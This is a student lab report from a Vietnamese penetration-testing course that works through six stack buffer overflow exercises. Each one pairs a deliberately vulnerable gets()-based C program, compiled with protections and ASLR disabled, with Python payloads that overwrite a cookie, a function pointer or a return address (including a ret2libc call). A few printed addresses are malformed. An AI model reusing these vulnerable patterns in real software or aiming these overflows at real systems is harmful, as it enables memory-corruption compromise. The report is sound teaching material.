

**HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
KHOA AN TOÀN THÔNG TIN**



**BÁO CÁO BÀI TẬP
HỌC PHẦN: KIỂM THỬ XÂM NHẬP
MÃ HỌC PHẦN: INT14107**

**BÀI TẬP
Stack Overflow Examples**

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HỌC KÌ 2 NĂM HỌC 2025 - 2026

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CHƯƠNG 1. NỘI DUNG BÀI TẬP

1.1 Bài 1: stack1.c

- Tắt ngẫu nhiên hóa không gian địa chỉ

```
student@ubuntu: ~  
File Edit View Search Terminal Help  
student@ubuntu:~$ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'  
student@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space  
0  
student@ubuntu:~$
```

- Tạo file stack1.c

```
GNU nano 2.9.3 stack1.c  
#include <stdio.h>  
  
int main()  
{  
    int cookie;  
    cookie = 0;  
    char buf[16];  
    printf("&buf : %p, &cookie: %p\n", buf, &cookie);  
    gets(buf);  
    printf("\n cookie = %10x \n", cookie);  
    if (cookie == 0x41424344)  
    {  
        printf("You win!\n");  
    }  
}
```

- Biên dịch

```
student@ubuntu: ~  
File Edit View Search Terminal Help  
student@ubuntu:~$ gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 ./stack1.c -o stack1  
./stack1.c: In function 'main':  
./stack1.c:9:5: warning: implicit declaration of function 'gets'; did you mean 'fgets'?  
[-Wimplicit-function-declaration]  
    gets(buf);  
    ~~~~~  
    fgets  
/tmp/ccZAlNpU.o: In function 'main':  
/home/student/./stack1.c:9: warning: the 'gets' function is dangerous and should not be used.  
student@ubuntu:~$
```

- Chạy code

```
student@ubuntu: ~
File Edit View Search Terminal Help
student@ubuntu:~$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*16 + b"DCBA")' | ./stack1
&buf : 0xfffffd180, &cookie: 0xfffffd190

cookie = 41424344
You win!
student@ubuntu:~$
```

1.2 Bài 2: stack2.c

- Tạo file stack2.c

```
GNU nano 2.9.3 stack2.c Modified
#include <stdio.h>

char *gets(char *s);

int main() {
    int cookie;
    char buf[16];
    printf("&buf: %p, &cookie: %p\n", buf, &cookie);
    gets(buf);
    printf("\n cookie = %10x \n", cookie);
    if (cookie == 0x01020305) {
        printf("You win!\n");
    } else {
        printf("\n We need cookie = 0x01020305 \n");
    }
}
```

- Biên dịch

```
student@ubuntu:~$ gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -Wno-implicit-function-declaration ./stack2.c -o stack2
/tmp/ccoh6FFc.o: In function `main':
/home/student/./stack2.c:9: warning: the `gets' function is dangerous and should not be used.
student@ubuntu:~$
```

- Chạy code

```

student@ubuntu: ~
File Edit View Search Terminal Help
student@ubuntu:~$ ls
Desktop      examples.desktop  Music      stack1      stack2.c
Documents    labtainer         Pictures   stack1.c    Templates
Downloads    labtainer_xfer    Public     stack2      Videos
student@ubuntu:~$ python3 -c 'import sys; sys.stdout.buffer.write(b"a"*16 + b"\x05\x03\x02\x01")' | ./stack2
&buf: 0xffffd180, &cookie: 0xffffd190

  cookie =    1020305
You win!
student@ubuntu:~$

```

1.3 Bài 3: stack3.c

- Tạo stack3.c

```

GNU nano 2.9.3      stack3.c      Modified
#include <stdio.h>
#include <stdlib.h>

char *gets(char *s);

void win() {
    printf("Code flow successfully changed\n");
    printf("You win!\n");
}

int main() {
    void (*fp)();
    char buf[16];
    fp = NULL;
    printf("&buf: %p, &fp: %p\n", buf, &fp);
    gets(buf);
    if (fp) {
        printf("Calling function pointer, jumping to %p\n", fp);
        fp();
    }
}

```

- Biên dịch

```
student@ubuntu:~$ gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -Wno-implicit-function-declaration ./stack3.c -o stack3
/tmp/cchISaXC.o: In function `main':
/home/student/./stack3.c:16: warning: the `gets' function is dangerous and should not be used.
student@ubuntu:~$
```

- Tìm địa chỉ hàm win:

```
student@ubuntu: ~
File Edit View Search Terminal Help
student@ubuntu:~$ nm stack3 | grep win
08048486 T win
student@ubuntu:~$
```

- Chạy code

```
student@ubuntu:~$ nm stack3 | grep win
08048486 T win
student@ubuntu:~$ python3 -c 'import sys; sys.stdout.buffer.write(b"a"*16 + b"\x86\x84\x04\x08")' | ./stack3
&buf: 0xffffd180, &fp: 0xffffd190
Calling function pointer, jumping to 0x8048486
Code flow successfully changed
You win!
student@ubuntu:~$
```

1.4 Bài 4: stack4.c

- Tạo stack4.c

```
GNU nano 2.9.3      stack4.c      Modified

#include <stdio.h>
#include <stdlib.h>

char *gets(char *s);

void win() {
    printf("Code flow successfully changed\n");
    printf("You win!\n");
    exit(0);
}

int main() {
    char buf[16];
    printf("&buf: %p\n", buf);
    gets(buf);
    return 0;
}
```

- Biên dịch

```
student@ubuntu:~$ nano stack4.c
student@ubuntu:~$ gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -Wno-implicit-function-declaration ./stack4.c -o stack4
/tmp/ccDDdKQB.o: In function `main':
/home/student/./stack4.c:15: warning: the `gets' function is dangerous and should not be used.
student@ubuntu:~$
```

- Tìm địa chỉ hàm win

```
student@ubuntu: ~
File Edit View Search Terminal Help
student@ubuntu:~$ nm stack4 | grep win
080484b6 T win
student@ubuntu:~$
```

- Dùng for để dò offset đúng cho code:

```
student@ubuntu:~$ for i in {20..40}; do
>   echo -n "Testing offset $i: "
>   python3 -c "import sys; sys.stdout.buffer.write(b'A'*$i + b'\xb6\x84\x04\x08') |
./stack4 | grep "win" && echo "SUCCESS at $i" && break
> done
Testing offset 20: Testing offset 21: Testing offset 22: Testing offset 23: Testing off
set 24: You win!
SUCCESS at 24
student@ubuntu:~$
```

1.5 Bài 5: stack5.c

- Tạo stack5.c

```
GNU nano 2.9.3 stack5.c Modified
#include <stdio.h>
#include <stdlib.h>

char *gets(char *s);

int main() {
    char buf[64];
    printf("&buf: %p\n", buf);
    gets(buf);
    return 0;
}
```

- Biên dịch

```
student@ubuntu:~$ gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -Wno-
-implicit-function-declaration ./stack5.c -o stack5
/tmp/ccfA9ULf.o: In function `main':
/home/student/./stack5.c:9: warning: the `gets' function is dangerous and should not be
used.
student@ubuntu:~$
```

- Dùng gdb để debug, tìm ra địa chỉ printf, exit


```

student@ubuntu:~$ gdb -q ./stack5
Reading symbols from ./stack5...done.
(gdb) break main
Breakpoint 1 at 0x55f: file ./stack5.c, line 8.
(gdb) run
Starting program: /home/student/stack5

Breakpoint 1, main () at ./stack5.c:8
8      printf("&buf: %p\n", buf);
(gdb) p printf
$1 = {<text variable, no debug info>} 0xf7e30d60 <printf>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e10160 <exit>
(gdb) q
A debugging session is active.

        Inferior 1 [process 4976] will be killed.

Quit anyway? (y or n) y
student@ubuntu:~$

```

- Chạy code

```

student@ubuntu:~$ for i in {64..80}; do
>     echo -n "Testing padding $i: "
>     python3 -c "import sys; printf=0xf7e30d60 ; exit= 0xf7e10160; buf=0xffffd154; sys
.stdout.buffer.write(b'You win\x00' + b'A'*(5i-8) + printf.to_bytes(4, 'little') + exit
.to_bytes(4, 'little') + buf.to_bytes(4, 'little'))" | ./stack5 | grep "You win" && ech
o "SUCCESS at $i" && break
> done
Testing padding 64: Testing padding 65: Testing padding 66: Testing padding 67: Testing
padding 68: Testing padding 69: Testing padding 70: Testing padding 71: Testing paddin
g 72: You win
SUCCESS at 72
student@ubuntu:~$

```

1.6 Bài 6: stack6.c

- Tạo stack6.c

```

GNU nano 2.9.3      stack6.c      Modified

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *gets(char *s);

int main() {
    char buf[64];
    printf("&buf: %p\n", buf);
    gets(buf);
    return 0;
}

```

- Biên dịch

```
student@ubuntu:~$ nano stack6.c
student@ubuntu:~$ gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -Wno-implicit-function-declaration ./stack6.c -o stack6
/tmp/cc1yjPTD.o: In function `main':
/home/student/./stack6.c:10: warning: the `gets' function is dangerous and should not be used.
student@ubuntu:~$
```

- Chạy gdb debug để tìm offset đúng

```
Starting program: /home/student/stack6
Breakpoint 1, main () at ./stack6.c:9
9      printf("&buf: %p\n", buf);
(gdb) info proc mappings
process 5067
Mapped address spaces:

Start Addr    End Addr      Size           Offset objfile
0x56555000    0x56556000     0x1000          0x0 /home/student/stack6
0x56556000    0x56557000     0x1000          0x0 /home/student/stack6
0x56557000    0x56558000     0x1000          0x1000 /home/student/stack6
0xf7de0000    0xf7fb2000    0x1d2000         0x0 /lib32/libc-2.27.so
0xf7fb2000    0xf7fb3000     0x1000        0x1d2000 /lib32/libc-2.27.so
0xf7fb3000    0xf7fb5000     0x2000        0x1d2000 /lib32/libc-2.27.so
0xf7fb5000    0xf7fb6000     0x1000        0x1d4000 /lib32/libc-2.27.so
0xf7fb6000    0xf7fb9000     0x3000          0x0
0xf7fcf000    0xf7fd1000     0x2000          0x0
0xf7fd1000    0xf7fd4000     0x3000          0x0 [vvar]
0xf7fd4000    0xf7fd6000     0x2000          0x0 [vdso]
0xf7fd6000    0xf7ffc000    0x26000         0x0 /lib32/ld-2.27.so
0xf7ffc000    0xf7ffd000     0x1000       0x25000 /lib32/ld-2.27.so
0xf7ffd000    0xf7ffe000     0x1000       0x26000 /lib32/ld-2.27.so
0xffffdd000   0xfffffe000    0x21000         0x0 [stack]
(gdb)
```

- Chạy code

```
student@ubuntu:~$ python3 -c 'import sys; printf=0xf7e30d60; exit=0xf7e10160; buf=0xfffffd154; sys.stdout.buffer.write(b"You win\x00" + b"A"*64 + printf.to_bytes(4, "little") + exit.to_bytes(4, "little") + buf.to_bytes(4, "little"))' | ./stack6
&buf: 0xfffffd154
You winstudent@ubuntu:~$
student@ubuntu:~$
```